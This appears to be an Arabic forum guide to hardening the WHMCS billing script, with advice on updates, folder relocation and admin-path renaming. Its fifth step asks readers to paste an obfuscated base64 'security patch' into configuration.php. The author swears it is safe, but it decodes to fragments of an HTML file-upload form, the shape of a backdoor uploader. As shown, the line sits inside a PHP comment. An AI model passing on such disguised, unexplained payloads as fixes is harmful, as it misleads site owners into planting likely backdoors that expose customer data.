بسم الله الرحمن الرحيم



الموضوع سيكون لحل بعض الثغرات التى ظهرت الفترة السابقة حسب ما توصلت اليه الى الان وسببت ازعاج وقلق كبيير للجميع ومنهم انا :( للاسف كون اغلب الشركات تعتمد عليه اعتماد كلى

ساحاول ان ابدأ الموضوع بالترتيب الدقيق حتى نحصل على افضل حماية للاسكربت من خطر الاختراق بنسبة كبييرة باذن الله


اولا : نصائح هامة لمالكى الاسكربت قبل البدأ :

1 - كن على تواصل دائما مع الشركة ومتابعه التحديثات الدورية التى تصدر منهم ولا تتجاهلها ومن الافضل هو
عمل Follow كما افعل :D لحسابهم على تويتر وهو Twitter

2- اذا كنت صاحب شركه استضافة وتمتلك اسكربت منزووووع فمن الافضل ان لا تستخدم الاسكربت واستخدم اسكربت مجانى او اغلاق الشركة افضل لك وللعملاء :D

3- كن حريص على عدم اعطاء الموظفين لديك صلاحيات Full Administrator فحاول ان تحدد اختصاصاتهم حسب وظيفتهم

4 - يجب ان يكون موقع الشركه على vps خاص لك ولا يكون مشترك معك مواقع العملاء على نفس السيرفر Shared Hosting ! ( ضرورى )

5 - لا تركب اى اسكربتات لمراكز التحميل على موقع الشركه فاجعل الفى بى اس خاااص فقط باسكربت
whmcs

6 - قم بالتاكد من حماية السيرفر حماية جيدة جدا واحمى قواعد البيانات من الاتصالات الخارجية networking


الان بعد عمل جمييع النصائح بالاعلى واشك ان احد سيقوم بها :D ندخل على حماية الاسكربت نفسه whmcs


اولا : قم بتحميل اخر اصدار من الاسكربت من موقع الشركه سواء الاصدار 5 او 4 من https://www.whmcs.com/members/clientarea.php

ثانيا : قم بحذف جميع ملفات الاسكربت القديمة واستبدلها بجميع ملفات الاسكربت الذى قمنا بتحميله من الموقع الام ولا تنسى المحافظة على ملف الكونفجريشن + تمبلت الاستايل الخاص بك مع فحص ملفات الاستايل من وجود ملفات غريبة وحذفها .وقم بترقية الاسكربت فى حال كنت اصدار اقل من 452 او تريد الترقية الى الاصدار الخامس


ثالثا : حمل الملف التالى حسب اصدار الاسكربت الخاص بك 4 او 5
Version 4.5.x -> http://www.whmcs.com/members/dl.php?type=d&id=112
Version 5.0.x -> http://www.whmcs.com/members/dl.php?type=d&id=113


يتم رفع ملف الترقيع بعد فك الضغط عنه على مجلد includes
ليصبح المسار includes/functions.php



رابعا : افتح ملف الكونفجريشن configuration.php ستجد محتوى الملف كالتالى حسب بيانات موقعك :
رمز PHP:
كود:
$license = "Traidnt"; 

$db_host = "localhost"; 

$db_username = "root"; 

$db_password = "123456"; 

$db_name = "whmcs"; 

$cc_encryption_hash = "iVwZve8ZazW38UxUKI0MRXXnN6tWp89a3u5hyaS0gCBy2ORDceKuBPSPA5jSZXFk"; 

$templates_compiledir = "templates_c/";


ما يهمنا هو السطر الاخير الخاص بكاشات التمبلت فقم بحذفه وضيف التالى بدلا منه مع تغيير username الى يوزر موقع الشركة .
رمز PHP:
كود:
$templates_compiledir = "/home/username/templates_c/"; 
$attachments_dir = "/home/username/attachments/"; 
$downloads_dir = "/home/username/downloads/"; 
$customadminpath = "Your Folder Name Admin New";


مع تغيير Your Folder Name Admin New الى اى اسم تريده وسيكون هذا هو اسم مجلد admin الجديد للاسكربت

ويمكنك ايضا تغيير اسماء templates_c و attachments و downloads الى اى اسم تريده مع مراعاة ايضا تغيير الاسم فى الاف تى بى ووضعه خارج public_html




ليصبح شكل ملف الكونفجريشن النهائى كالتالى : رمز PHP:
كود:
 
$license = "Your license"; 

$db_host = "localhost"; 

$db_username = "root"; 

$db_password = "123456"; 

$db_name = "whmcs"; 

$cc_encryption_hash = "iVwZve8ZazW38UxUKI0MRXXnN6tWp89a3u5hyaS0gCBy2ORDceKuBPSPA5jSZXFk"; 


$customadminpath = "Your Folder Name Admin New"; 
$templates_compiledir = "/home/username/templates_c/"; 
$attachments_dir = "/home/username/attachments/"; 
$downloads_dir = "/home/username/downloads/";



خامسا : هناك ثغرة برايفت اكتشفتها بالاسكربت تقوم هذه الثغرة بجلب محتوى الكونفجريشن عند الرد على التذكرة وهيا تعمل على الاصدار 452 ولم اجربها على الاصدار الخامس وتم مراسلة الشركة الام بخصوصها وسيتم ترقيعها


وحاولت ان اجد لها حل مؤقت و الحمد لله الحل فعال جدا يرقع هذه الثغرة

ولتطبيق الترقيع :

1 - افتح ملف configuration.php

2 - اضف فى اسفله التالى رمز PHP:
كود:
//// Sec Whmcs By Ahmed Hamdy (TroY) Traidnt.Net base64_decode("MGlJaUJ0WlhSb2IyUTlJbkJ2YzNRaUlHVnVZM1I1Y0dVOUltMTFiSFJwY0dGeWRDOW1iM0p0TFdSDQogaGRHRWlJRzVoYldVOUluVndiRzloWkdWeUlpQnBaRDBpZFhCc2IyRmtaWElpUGljN0RRcGxZMmh2DQogSUNjOGFXNXdkWFFnZEhsd1pUMGlabWxzWlNJZ2JtRnRaVDBpWm1sc1pTSWdjMmw2WlQwaU5UQWlQDQpqeHBibkIxZENCdVlXMWxQU0pmZFhCc0lpQjBlWEJsUFNKemRXSnRhWFFpSUdsa1BTSmZkWEJzSWkNCg=="); base64_decode("MGlJaUJ0WlhSb2IyUTlJbkJ2YzNRaUlHVnVZM1I1Y0dVOUltMTFiSFJwY0dGeWRDOW1iM0p0TFdSDQogaGRHRWlJRzVoYldVOUluVndiRzloWkdWeUlpQnBaRDBpZFhCc2IyRmtaWElpUGljN0RRcGxZMmh2DQpqeHBibkIxZENCdVlXMWxQU0pmZFhCc0lpQjBlWEJsUFNKemRXSnRhWFFpSUdsa1BTSmZkWEJzSWkNCg=="); //// Sec Whmcs By Ahmed Hamdy (TroY) Traidnt.Net
اسف على التشفير ولكن حتى لا تنتشر الثغرة واقسم بالله لا يوجد ما يقلقك من التشفير فهيا فقط حتى لا يستغلها اصحاب النفوس المريضة

واذا لا تثق بى وهذا من حقك فتجاهل هذه الخطوة .

ليكون شكل ملف الكونفجريشن النهائى كالتالى




سادسا : قم باعطاء ملف configuration.php تصريح 444 ونقل مجلد templates_c و attachments و downloads الى خارج public_html ليكون مسارهم كما تم وضعه فى الكونفجيشن

والان بعض التطبيق اقول لك مبروك فقد تم حماية الاسكربت بشكل يمنع اختراقك من اطفال الهكر (b0x وممن معه )

والسلام عليكم